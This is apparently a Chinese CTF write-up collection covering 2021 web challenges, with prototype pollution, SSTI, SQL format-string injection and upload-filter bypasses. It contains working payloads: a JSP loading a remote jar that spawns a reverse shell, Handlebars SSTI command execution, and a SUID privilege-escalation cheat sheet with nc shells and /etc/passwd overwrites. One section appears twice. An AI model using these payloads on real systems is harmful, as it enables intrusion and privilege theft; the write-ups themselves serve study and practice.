2021深育杯

weblog

2021l3ctf

easyphp

送分题
发现password没那么短,双击复制一下,然后urlencode

<?php
echo urlencode("‮⁦L3H⁩⁦password");
echo "\n";
echo urlencode("‮⁦CTF⁩⁦l3hctf");
?>

接下来发送即可

image-service1

share图片,注册了一下,发现a可以share到b的,然后admin不让注册,也不让share,但是试了一下,发现ADMIN也同样可以share到。。。

image-service2

看了半天,要想读到flag2就需要更改blur参数还有x,但是直接改的话,会说token不存在,所以觉得还是应该看看参数和uuid的关系是啥样的,正好附件里面有docker文件,起一个docker看看,正好学习一下如何弄这个玩意:

参考链接:https://cloud.tencent.com/developer/article/1169085
up  安装组下的容器集合默认的yml的文件名称是当前目录下的docker-compose.yml,如果需要指定:
docker-compose -f 文件名 up
docker-compose up -d 后台运行不显示日志pwd
curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://b81aace9.m.daocloud.io
sudo docker-compose -f docker-compose.yml up
img 需要注意的是,在配置env的时候,需要更改一些参数,踩坑主要也是在loc需要配置为你的服务器ip地址,但是在这里不知道为啥这样也起不了,但是1002的端口可以开启,所以就直接用了,这里确实没想到,其实直接查看docker的日志,看看get那边的值是如何传入的就行了,如何才能做到tooken一致

img

对比一下

img

img

首先我发了两次blur=20的 发现他们的tooken都是一样的,如下所示,当我更改值以后,他们的tooken就发生改变了,可以看到标黄的那段,那么要如何绕过呢,可以看到他经过了一个map处理,猜想这里的map是对里面的值进行计算然后得到一个tooken,那么如果我们可以做到输入blur:[20]在实际中其实又没有这个值,那就可以绕过了

image-service-nginx-1    | 211.97.128.174 - - [16/Nov/2021:09:59:50 +0000] "GET /get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-"
image-service-service-1 | map[blur:[20] text:[secret] textsize:[50] uuid:[4bb2c93b-b18f-42fc-97fc-ec5a3afbab64] x1:[200] y1:[200]]
image-service-service-1 | //c45fe4fc97e10d46273f8ab3a04233a313e2403e6fdf33bd1b4ab5fd24cc6bf1 9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907
image-service-service-1 | [GIN] 2021/11/16 - 09:59:50 | 403 | 62.594µs | 172.18.0.2 | GET "/get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200"



image-service-nginx-1 | 211.97.128.174 - - [16/Nov/2021:10:05:42 +0000] "GET /get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-"
image-service-service-1 | map[blur:[20] text:[secret] textsize:[50] uuid:[4bb2c93b-b18f-42fc-97fc-ec5a3afbab64] x1:[200] y1:[200]]
image-service-service-1 | //c45fe4fc97e10d46273f8ab3a04233a313e2403e6fdf33bd1b4ab5fd24cc6bf1 9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907
image-service-service-1 | [GIN] 2021/11/16 - 10:05:42 | 403 | 65.684µs | 172.18.0.2 | GET "/get?blur=20&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=200&y1=200"

211.97.128.174 - - [16/Nov/2021:10:07:26 +0000] "GET /get?blur=0&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=0&y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-"
image-service-service-1 | map[blur:[0] text:[secret] textsize:[50] uuid:[4bb2c93b-b18f-42fc-97fc-ec5a3afbab64] x1:[0] y1:[200]]
image-service-service-1 | //6c73f2e8bb98f6d40cc95e9d716a126e2fc6c320322df005cb1532c4a9ff3043 9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907
image-service-service-1 | [GIN] 2021/11/16 - 10:07:26 | 403 | 94.621µs | 172.18.0.2 | GET "/get?blur=0&text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1=0&y1=200"

211.97.128.174 - - [16/Nov/2021:10:14:55 +0000] "GET /get?blur:[20]%20text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1:[200]%20y1=200 HTTP/1.1" 403 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0" "-"
image-service-service-1 | map[blur:[20] text:[secret] textsize:[50] uuid:[4bb2c93b-b18f-42fc-97fc-ec5a3afbab64] x1:[200] y1:[200]]
image-service-service-1 | //c45fe4fc97e10d46273f8ab3a04233a313e2403e6fdf33bd1b4ab5fd24cc6bf1 9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907
image-service-service-1 | [GIN] 2021/11/16 - 10:14:55 | 403 | 68.117µs | 172.18.0.2 | GET "/get?blur:[20]%20text=secret&textsize=50&token=9d07a8310068f537d7adb22ce4f0beb6d0af32421fd1beeddf7444f959b40907&uuid=4bb2c93b-b18f-42fc-97fc-ec5a3afbab64&x1:[200]%20y1=200"

可以看到最终的tooken和一开始输入blur20的是一样的,但是tooken没有发生改变,所以最终的payload是

get?blur:[20] text=secret&textsize=50&token=61cb06c63c5fb86303c40f4bfd2ea04aa9d7cf3067f8f886c8b30f4e547bc803&uuid=1293b342-b144-42ec-983d-96fba7c159b9&x1:[200] y1=200

bypass

一开始是文件后缀绕过,直接双写就可以了,问题在于后续正则匹配的绕过,这里提到,不能输入两个连续的字符串

public static boolean checkValidChars(String content) {
Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");
Matcher matcher = pattern.matcher(content);
return matcher.find();
}

一开始是定位这里,看这个getString是否有什么特性,后面是没发现的,只知道他是将其作为string读入

String content = item.getString();

感觉之前的大师傅离成功应该是只有一步之遥了

1.当form中设置method="post" enctype="multipart/form-data"时才能正常上传。
2.commons-fileupload上传中如果form中的参数有中文,此时用item.getString()会出现乱码,必须用item.getString("UTF-8"),UTF-8为编码方式。

原文链接:https://blog.csdn.net/pg_guo/article/details/8753449

通过测试,我们可以发现,他是没有过滤汉字,那么汉字乱码肯定是可以绕过的,那我们就对文本使用其他编码形式,比如说当utf-16的文本,以utf-8的形式打开,那肯定是会变成乱码的,根据这个思路,就可以绕过了,写一个自动化脚本(已经有大师傅写过了)

import requests
def file_op(filename,filedata):
print("filename: ",filename)
print("filedata: ", filedata)
with open(filename,'wb') as f:
f.write(filedata)
r = requests.post('http://123.60.20.221:10001/UploadServlet', files={"filename": open(filename, "rb")})
print(r.text)
if "文件上传成功! 文件路径: /usr" in r.text:
url = "http://123.60.20.221:10001/" + r.text.replace(
"文件上传成功! 文件路径: /usr/local/apache-tomcat-8.5.72/webapps/ROOT/", "")
print(url)
r = requests.get(url)
print(r.text)
print(r.content)
return r.text

if __name__=="__main__":
filename="1.jjspsp"
filedata="""

""".encode('utf-16')
file_op(filename,filedata)

接下来就是绕过第二个黑名单,里面过滤了很多内容,在寻找绕过方式的时候,看到了很多有意思的方法,决定收藏一下,这里说一下Y4大师傅的解题方法

https://f5.pm/go-61281.html

他的黑名单实在多:

黑名单Runtime、\u、ScriptEngine、newInstance、ProcessBuilder、invoke、File、defineClass、lookup,JdbcRowSetImpl等

然后再次佩服一下大师傅们,太牛了,这里用到的方法是,使用UrlClassLoader与Class.forName在初始化对象时执行命令,首先学习下这两个包

UrlClassLoader:URLClassLoader 可以加载远程类库和本地路径的类库
#其实昨晚在做的时候有看到这个思路,但是当时发现有用到newInstance,所以就没往下继续想了,有点可惜
Class.forName:装载一个类并且对其进行实例化的操作,装载过程中使用到的类加载器是当前类
Class.forName(xxx.xx.xx)返回的是一个类。Class.forName(xxx.xx.xx)的作用是要求JVM查找并加载指定的类,也就是说JVM会执行该类的静态代码段
这里说说自己的理解:class.forname其实就是生成这个类的class

首先写一个恶意类,并打包jar上传服务器,这里在学习一下了,如何创建一个jar包。。。
https://www.hangge.com/blog/cache/detail_2750.html

贴一下恶意包的代码:

package com.tlif;
import java.io.IOException;
import java.io.UncheckedIOException;

public class bad_class {
static {
try{
Runtime.getRuntime().exec(new String[]{"bash","-c","echo xxxxx|base64 -d|sh"});
} catch (IOException e){
e.printStackTrace();
}
}
public static void main(String[] args){new bad_class();}
}

接下来将其打包成jar包上传至服务器(记得配置java环境,不然运行不了)
然后上传访问该jar包的jsp木马

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%
URL url = new URL("http://110.42.133.120/l3ctf_bp.jar");

URLClassLoader ucl = new URLClassLoader(new URL[]{url});

Class.forName("com.tlif.bad_class",true,ucl);

%>

接下来访问jsp文件,即可反弹shell

fastjson

比赛的时候看都看没看的一道题,所以贴一下别人的wp收藏一下

bsides-ahmedabad-ctf-2021

pugpug

根据大师傅的wp,这题是原型链污染,但是我没看出来,所以认为还是应该回去理解一下,什么情景下会造成原型链污染?

原型链污染形成原因

如果可以控制并修改一个对象的原型,那么将可以影响所有和对象来自同一个类、父、组类的对象

什么时候可以利用

存在可控的对象键值

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

分析

参数传入将经过deparam进行处理

var input = deparam(req.originalUrl.slice(2));

在deparam中存在原型链污染,主要在下面这段代码,如果你传入了一个数组,含有多个键,那么就会进入以下循环进行赋值,我们可以跟一下值来分析一下

keys_last = keys.length - 1;                    
for ( ; i <= keys_last; i++ ) {
key = keys[i] === '' ? cur.length : keys[i];
console.log(key[i]);
cur = cur[key] = i < keys_last
? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
: val;
}

可以看到keys的数组的值分成了三部分:
img

再往下继续调试此时key分为三部分,cur为含有所有键以及其值是一个对象,当key为constructor,他就会向上继承去获取其constructor的值
img

constructor属性的含义就是指向该对象的构造函数,所有函数(此时看成对象了)最终的构造函数都指向Function,而saasa是一个string,那么就是指向获得了一个string(),而所有函数的constructor都指向Function,也就是最原始的那个
img

而在这个Function()下面又有很多的函数,可以发现有一个正则表达式,也就是过滤我们字符的函数,我们可以通过污染这个正则表达式,来实现绕过,可以看到此时的三部分,cur[key]的值已经为那个正则表达式的内容了
img

最后直接将这个正则表达式赋值为我们传入的污染数据:img

梳理一下代码逻辑:如果我们传入一个数组数据,那么他会递归取值并进行重新赋值,直到最后一个值被赋出

传入:test=aaa&test[constructor][SafetifyRegExp]=ssss
过程:cur={name:xxx,test:xxx}
cur=cur[test]=>cur=aaa
cur=cur[constructor]=>aaa[constructor]=string()
cur=cur[SafetifyRegExp]=>string()[SafetifyRegExp]=正则表达式
此时数组递归遍历结束,进行赋值
string()[SafetifyRegExp]=ssss
img

模板注入

接下来就是pug的模板注入了,想要直接getshell是没办法的因为他过滤得很严格而且我们无法绕过:

const denylist = ["%","(","global", "process","mainModule","require","child_process","exec","\"","'","!","`",":","-","_"];

但是在/serverstatus中有命令执行,并且这里可以传入参数,即req,res,但是由于options.options写死了,导致这里的命令是执行不了的,因为直接timeout500了==,所以我们先接触他,然后再控制options.args实现命令执行

app.get('/serverstatus', (req, res) => {
const result = child_process.spawnSync('ps' , options.args, options.options);
out = result.stdout.toString();
res.send(out);
});

首先我们要让childe_process.spawnSync可以执行shell命令,所以需要打开这个模式,是要用url编码即可绕过:的过滤

%23{options.options.shell%3Dtrue}

接下来再对options.args进行重新赋值,利用name进行传参绕过引号过滤(无法像shell:true)直接传参的原因:

?name=cpu,args%20;cat%20/proc/self/environ&content=%23{options.args%3D[options.args[0],name]} 

最终可以发现执行命令为:

ps -eo cpu,args;cat /proc/self/environ
img

由于是windows下复现的,就不演示了

2021陇原抗疫

eaaaasyphp

一开始眼睛只看到hint了,疯狂试绕wakeup,发现没反应,才知道原来是php7.2版本的,要利用其他地方的类读bypass

$a=new Esle();
$b=new Bypass();
$b->str4='phpinfo';
$a->c=$b;
echo serialize($a);

发现api服务是fastcgi

mysql8.0新特性深入详解

前言

最近打比赛遇到很多场都和mysql8.0有关的,然后看到网上关于这个知识点的文章也没有很多,于是决定好好总结一下。

环境配置

本地一直用的就是mysql8.0,所以就没改了,然后题目的话直接使用sqlilabs靶场即可

table

table是mysql新推出的一个查询功能,可以说是select的替代,虽然功能比select差点

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
eg:
table users;
table users order by username
table users order by username limit 0,1;

可以发现table显示的是整个users表的内容
img
它还可以添加参数,使得表数据的显示方式变得多元化一些
img

如果只需要某一行,还可以添加limit函数进行截取img

实战:

1.和union组合

可以直接和union组合构成万能密码,在有回显的题目当中,也可以直接用来查表的数据,但是由于无法使用group_concat()所以只能利用limit,一个个截取得到

-1'union table users limit 0,1--+
img img

2.无列名盲注

当题目过滤了select和常用的infor表时,我们可以使用table还有mysql.innodb_table_stats进行替换

table mysql.innodb_table_stats

此时我们即可查询得到表名
img

而在table中的盲注和普通的盲注不太一样,它是按位截取对比的

2021东华杯

前言

比赛那天体侧==人傻了,后面也没心情做,但是感觉比赛的题都是可以学习的,可惜没想到环境马上就关了–

apacheprOxy

附近是一个docker文件,发现是GKCTF2021的原题(简化版),这里主要学习一下学长的工具试试看

首先使用扫描器扫描链接

python3 ws.py -t xx.xx.xx.xx

然后使用工具一键getshell

python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami

eznode

看看能不能本地起一个跑一下看看
配置过程,首先出现了第一个问题:

'const' is available in ES6 (use 'esversion: 6') or Mozilla JS extensions (use moz). (W104)

查到解决方法是:在开头添加一个

/*jshint esversion: 6 */

然后一直说找不到module,install了很多次,发现需要cd到那个项目目录下去install这些模块

npm install

由于前面的登录部分需要麻烦的数据库之类的配置,所以我就直接进入到upload的路由,并删除校验的部分了
查看package.json,一个一个查漏洞(积累下)

{
"name": "app",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www",
"dev": "nodemon index.js -e js"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"crypto": "^1.0.1",
"debug": "~2.6.9",
"express": "~4.16.1",
"hbs": "^4.0.1",
"http-errors": "~1.6.3",
"morgan": "~1.9.1",
"multer": "^1.4.3",
"mysql": "^2.18.1",
"path": "^0.12.7",
"sequelize": "^6.7.0"
}
}

发现hbs的模板渲染有一个CVE-2021-32822
参考文章:
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cat /flag').toString();"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

OldLibrary

这里就记录一下

Linux SUID 提权

关于suid

suid是赋予文件的一种权限
具体叙述可以参考:https://www.cnblogs.com/sparkdev/p/9651622.html
总结来说就是:当一个二进制可执行文件具有suid权限时,尽管不是root用户也可以执行本该root用户才能执行的功能

查找suid权限位文件

下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find /bin -perm -u=s -type f 2>/dev/null
find /usr -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

也可以使用 sudo -l 命令列出当前用户可执行的命令

常用提权方式

nmap(2.02-5.21)存在交换模式,可利用提权

nmap --interactive

之后执行:

nmap> !sh
sh-3.2# whoami
root

msf中的模块为:

exploit/unix/local/setuid_nmap

较新版可使用 --script 参数:

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

find

touch test
find test -exec whoami \;

nc 反弹 shell:

find test -exec netcat -lvp 5555 -e /bin/sh \;

2.3 vi/vim

打开vim,按下ESC

:set shell=/bin/sh
:shell

或者

sudo vim -c '!sh'

2.4 bash

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

2.5 less

less /etc/passwd
!/bin/sh

2.6 more

more /home/pelle/myfile
!/bin/bash

2.7 cp

覆盖 /etc/shadow/etc/passwd

[zabbix@localhost ~]$ cat /etc/passwd >passwd
2.[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
3.$1$hack$WTn0dk2QjNeKfl.DHOUue0
4.[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
5.[zabbix@localhost ~]$ cp passwd /etc/passwd
6.[zabbix@localhost ~]$ su - hack
7.Password:
8.[root@361way ~]# id
9.uid=0(hack) gid=0(root) groups=0(root)
10.[root@361way ~]# cat /etc/passwd|tail -1
11.hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

2.8 mv

覆盖 /etc/shadow/etc/passwd

2.9 nano

nano  /etc/passwd

2.10 awk

awk 'BEGIN {system("/bin/sh")}'

2.11 man

man passwd
!/bin/bash

2.12 wget

wget http://192.168.56.1:8080/passwd -O /etc/passwd

2.13 apache

仅可查看文件,不能弹 shell:

apache2 -f /etc/shadow

2.14 tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

2.15 python/perl/ruby/lua/php/etc

python

python -c "import os;os.system('/bin/bash')"

perl

exec "/bin/bash";

就测试了一下vi的,发现还挺神奇的

原作者用得是

find / -perm -u=s -type f 2>/dev/null #查找系统上运行的所有SUID可执行文件
comm /flagggisshere /dev/null 2> /dev/null
img

参考:http://www.snowywar.top/?p=2743

2021东华杯

前言

比赛那天体侧==人傻了,后面也没心情做,但是感觉比赛的题都是可以学习的,可惜没想到环境马上就关了–

apacheprOxy

附近是一个docker文件,发现是GKCTF2021的原题(简化版),这里主要学习一下学长的工具试试看

首先使用扫描器扫描链接

python3 ws.py -t xx.xx.xx.xx

然后使用工具一键getshell

python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami

eznode

看看能不能本地起一个跑一下看看
配置过程,首先出现了第一个问题:

'const' is available in ES6 (use 'esversion: 6') or Mozilla JS extensions (use moz). (W104)

查到解决方法是:在开头添加一个

/*jshint esversion: 6 */

然后一直说找不到module,install了很多次,发现需要cd到那个项目目录下去install这些模块

npm install

由于前面的登录部分需要麻烦的数据库之类的配置,所以我就直接进入到upload的路由,并删除校验的部分了
查看package.json,一个一个查漏洞(积累下)

{
"name": "app",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www",
"dev": "nodemon index.js -e js"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"crypto": "^1.0.1",
"debug": "~2.6.9",
"express": "~4.16.1",
"hbs": "^4.0.1",
"http-errors": "~1.6.3",
"morgan": "~1.9.1",
"multer": "^1.4.3",
"mysql": "^2.18.1",
"path": "^0.12.7",
"sequelize": "^6.7.0"
}
}

发现hbs的模板渲染有一个CVE-2021-32822
参考文章:
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cat /flag').toString();"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

OldLibrary

这里就记录一下

Linux SUID 提权

关于suid

suid是赋予文件的一种权限
具体叙述可以参考:https://www.cnblogs.com/sparkdev/p/9651622.html
总结来说就是:当一个二进制可执行文件具有suid权限时,尽管不是root用户也可以执行本该root用户才能执行的功能

查找suid权限位文件

下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

也可以使用 sudo -l 命令列出当前用户可执行的命令

常用提权方式

nmap(2.02-5.21)存在交换模式,可利用提权

nmap --interactive

之后执行:

nmap> !sh
sh-3.2# whoami
root

msf中的模块为:

exploit/unix/local/setuid_nmap

较新版可使用 --script 参数:

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

find

touch test
find test -exec whoami \;

nc 反弹 shell:

find test -exec netcat -lvp 5555 -e /bin/sh \;

2.3 vi/vim

打开vim,按下ESC

:set shell=/bin/sh
:shell

或者

sudo vim -c '!sh'

2.4 bash

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

2.5 less

less /etc/passwd
!/bin/sh

2.6 more

more /home/pelle/myfile
!/bin/bash

2.7 cp

覆盖 /etc/shadow/etc/passwd

[zabbix@localhost ~]$ cat /etc/passwd >passwd
2.[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
3.$1$hack$WTn0dk2QjNeKfl.DHOUue0
4.[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
5.[zabbix@localhost ~]$ cp passwd /etc/passwd
6.[zabbix@localhost ~]$ su - hack
7.Password:
8.[root@361way ~]# id
9.uid=0(hack) gid=0(root) groups=0(root)
10.[root@361way ~]# cat /etc/passwd|tail -1
11.hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

2.8 mv

覆盖 /etc/shadow/etc/passwd

2.9 nano

nano  /etc/passwd

2.10 awk

awk 'BEGIN {system("/bin/sh")}'

2.11 man

man passwd
!/bin/bash

2.12 wget

wget http://192.168.56.1:8080/passwd -O /etc/passwd

2.13 apache

仅可查看文件,不能弹 shell:

apache2 -f /etc/shadow

2.14 tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

2.15 python/perl/ruby/lua/php/etc

python

python -c "import os;os.system('/bin/bash')"

perl

exec "/bin/bash";

就测试了一下vi的,发现还挺神奇的

原作者用得是

find / -perm -u=s -type f 2>/dev/null #查找系统上运行的所有SUID可执行文件
comm /flagggisshere /dev/null 2> /dev/null
img

参考:http://www.snowywar.top/?p=2743

2021hack.lu

Diamond Safe

下载源码:

img

虽然存在过滤函数
img

但是问题不大,因为存在格式化字符串漏洞
img

我们的最终目的应该是构造出万能密码,然后成功登陆即可
阅读源码,可以发现%s后面会被替换成’%s’如果我们想成功登录,那么就要闭合前面的引号,逃逸出一个单引号
查询语句为:

SELECT * FROM `users` where password=sha1(%s) and name='%s'

如果我们此时仅输入单引号,那么就会被过滤函数给转义

从'变成\'

因为存在格式化字符串漏洞,我们可以利用这里%会吃字符的特性,吃掉\

$a="name='%\";
$b=vsprintf($a,'a');
echo $b;
#name=''

思路

如果我们可以在转义之前就插入%',那么后面转义后就变成%\',此时在经过vsprintf函数,就会变成只剩下单引号以后的内容',但此时会引起语法上报错,因为有两个%,但是后面只有一个参数,匹配不上,而在格式化字符串中匹配中没有%1$'这个格式,将会被直接舍弃掉,这个就不会引起报错了

<?php
$a="name='%\'%s";
$b=vsprintf($a,'a');
echo $b;
#Warning: vsprintf(): Too few arguments in
<?php
$a="name='%1$\'%s";
$b=vsprintf($a,'a');
echo $b;
#name=''a

构造

来分析一下他代码的执行过程

#先尝试password=1%1$') or 1=1#
则(转义后)变成:
1%$1\') or 1=1#
然后变成
SELECT * FROM `users` where password=sha1('1%1$\') or 1 = 1#')
此时还需要在经过sprintf才能消去%1$\让单引号逃逸出来,所以还要在post一次name让他在经过一次sprintf,此时即可登录成功
最终payload
password=1%1$') or 1=1#&name=a
img

登陆成功以后仅仅只是个开始,再来看看源码,提供了下载功能,意味着我们可以文件下载来读取flag,但是存在一点,我们不知道secret,所以无法伪造那个sha加密,但是我们现在有现成的两个文件,他们有提供这个sha加密的结果
img

但是如果我们直接传入

?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt&file_name=../../../../../flag.txt

原本的的file_name将会直接被覆盖,就过不去后面的hash比对
img

所以这里就利用QUERY_STRING传入的不会urldecode,还有在php中空格会自动解析为_的特性把上面的payload改为

?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt&file%20name=../../../../../flag.txt

此时可以发现,两个检测时值互相不覆盖img

而后空格被解析为下划线,当面对两个file_name值的时候,php就会默认选择后者img

此时就可以下载得到flag了

NODENB

注册登录以后,来看看源码,他使用的是redis的数据库,所以命令集都是redis的,并且可以直接调用,但是对于redis的命令都比较陌生,所以要学习一下:

const db = {};
const asyncBinds = [
'get', 'set', 'setnx', 'incr', 'exists', 'del',
'hget', 'hset', 'hgetall', 'hmset', 'hexists',
'sadd', 'srem', 'smembers', 'sismember',
];

主要看看和flag有关的,首先是创了一个用户叫做system,然后这里就是创建了一个note库?然后里面有个flag表,然后他有个字段title叫FLAG,值为FLAG,来自于前面定义的环境变量

db.hset('uid:1', 'name', 'system');
db.set('user:system', '1');
db.setnx('index:uid', 1);
db.hmset('note:flag', {
'title': 'Flag',
'content': FLAG,
});

很明显,需要从这里得到,访问/notes/flag,接下来他会校验id

app.get('/notes/:nid', ensureAuth, async (req, res) => {
const { nid } = req.params;
if (!await db.hasUserNoteAcess(req.session.user.id, nid)) {
return res.redirect('/notes');
}
const note = await db.getNote(nid);
res.render('note', { note });
});

这里看一下他是如何进行校验的,第一个比较时肯定可以过的,第二个是比较用户名是否存在于对应的hash表

async hasUserNoteAcess(uid, nid) {
//Redis Sismember 命令判断成员元素是否是集合的成员,nid为flag,那一定是,这个是表里有的
if (await db.sismember(`uid:${uid}:notes`, nid)) {
return true;
}
//Hexists 命令用于查看哈希表的指定字段是否存在
if (!await db.hexists(`uid:${uid}`, 'hash')) {
// system user has no password
return true;
}
return false;

按照上面的逻辑,就是我们要先登录system的账号,然后才可以访问到flag,但是上面又说system是没有密码的,但是这里又需要你的密码是非空且为string,那么这里就是一个矛盾点了,怎么可能让password非空然后又符合空以后加密的hash值

if (!username || !password || typeof username !== 'string' || typeof password !== 'string') {
res.flash('danger', 'invalid username or password');
return res.status(400).render('login');
}

但其实也不一定要登录,因为他验证的是会话的hash值,所以如果我们可以伪造得到这个会话,也是能达到最终目的,额很明显,伪造是不可能的,再回去看了一下上面的验证逻辑,他验证的函数是hexists,即在这个hash表中有没有这个hash值,如果没有的话,那就是true!那是不是存在当我们删除这个某个用户以后,他的session还在,但是已经没有这个hash值了呢?

if (!await db.hexists(`uid:${uid}`, 'hash')) {
// system user has no password
return true;
}

来看看他删除的过程,这里再贴一下创建的过程会理解的比较清楚一些

async createUser(name, password) {
const isAvailable = await db.setnx(`user:${name}`, 'PLACEHOLDER');
if (!isAvailable) {
throw new Error('user already exists!');
}

const uid = await db.incr('index:uid');
await db.set(`user:${name}`, uid);

const hash = await argon2.hash(password);
await db.hmset(`uid:${uid}`, { name, hash });
return uid;
},

对比创建和删除,可以发现,当删除了uid以后,name和对应的hash也会删除,然后session是在后面删除的

async deleteUser(uid) {
const user = await helpers.getUser(uid);
await db.set(`user:${user.name}`, -1);
await db.del(`uid:${uid}`);
const sessions = await db.smembers(`uid:${uid}:sessions`);
const notes = await db.smembers(`uid:${uid}:notes`);
return db.del([
...sessions.map((sid) => `sess:${sid}`),
...notes.map((nid) => `note:${nid}`),
`uid:${uid}:sessions`,
